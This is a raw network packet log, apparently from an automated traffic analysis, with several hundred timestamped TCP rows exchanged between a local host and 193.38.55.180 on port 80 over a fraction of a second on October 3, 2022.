Oct 3, 2022 17:35:32.795574903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.795603991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.795603991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.795737982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795757055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795774937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795789003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.795806885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.795829058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.796298981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.796329975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.796366930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.796381950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.796391964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.796401024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.796403885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.796427011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.796439886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.796489954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.796637058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816448927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816482067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816499949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816520929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816540956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816559076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816576958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816577911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816595078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816612005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816612005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816631079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816631079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816648006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816653013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816667080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816684961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816687107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816703081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816711903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816720963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816747904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816750050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.816770077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816804886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.816998005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817017078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817037106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817055941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817074060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817086935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817095995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817114115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817121029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817133904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817145109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817151070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817162991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817183971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817198992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817699909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817720890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817739010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817756891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.817774057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.817809105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.818108082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.818131924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.818177938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819072008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819097996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819117069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819130898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819139004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819159031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819160938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819175959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819178104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819195986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819196939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819216013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819224119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819235086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819247961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819272995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819287062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819341898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819360018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819380045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819392920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819403887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819427967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819541931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819562912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819581985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819588900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819601059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819606066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819619894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819619894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819637060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819654942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.819660902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.819951057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832179070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832214117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832232952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832251072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832269907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832268953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832288980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832298994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832308054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832376003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832390070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832390070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832390070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832403898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832412004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832418919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832420111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832453012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832468033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832494020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832494974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832526922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832528114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832550049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832560062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832568884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832587004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832587957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832603931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832621098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832622051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832640886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832659006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832663059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832676888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832691908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832695007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832706928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832714081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832731962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832741976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832750082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832767963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.832777977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832799911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832827091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.832994938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833014011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833033085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833050966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833064079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833069086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833086967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833091974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833107948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833117008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833142042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833144903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833164930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833168030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833184958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833189964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833211899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833219051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833230019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833234072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833246946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833251953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833265066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833271027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833283901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833292007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833302975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833311081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833321095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833331108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833350897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833369017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833370924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833389044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833405972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833414078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833425045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833431959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833442926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833450079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833461046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833468914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833479881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833487988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833498001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833507061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833518982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833528042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833537102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833554983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833554983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833568096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833575010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833585024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833592892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833605051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833611965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833623886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833628893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833647013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833653927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833664894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833682060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833683014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833702087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833712101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833720922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833739042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833746910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833756924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833765984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833774090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833791971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833801985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833810091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833827972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833836079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833853006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833858967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833865881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833872080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833887100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833888054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833904028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833923101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833940983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833950043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833960056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833980083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.833982944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.833997965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.834000111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.834023952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.834044933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845547915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845587015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845606089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845619917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845638990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845658064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845674992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845693111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845714092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845736027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845762968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845769882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845784903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845803976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845822096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845829964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845839024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845851898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845858097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845875978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845885038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845895052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845911026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845912933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845930099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845931053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845948935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845956087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845968008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.845972061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.845987082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.846004963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.846421957 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.846430063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.846438885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.846460104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.846477985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.846498966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.846524954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.851629019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851663113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851681948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851700068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851717949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851737022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851754904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851773024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851774931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.851790905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851809978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.851810932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.851834059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.851850033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852694988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852722883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852745056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852761030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852778912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852787018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852797985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852817059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852834940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852842093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852853060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852869987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852871895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852890015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852895975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852906942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852914095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852926016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852938890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852943897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.852957010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852972984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.852988958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.861249924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.861293077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.861311913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.861330032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.861347914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.861366987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.861455917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.861455917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.862061024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.862086058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.862104893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.862124920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.862135887 CEST	49703	80	192.168.2.7	193.38.55.180
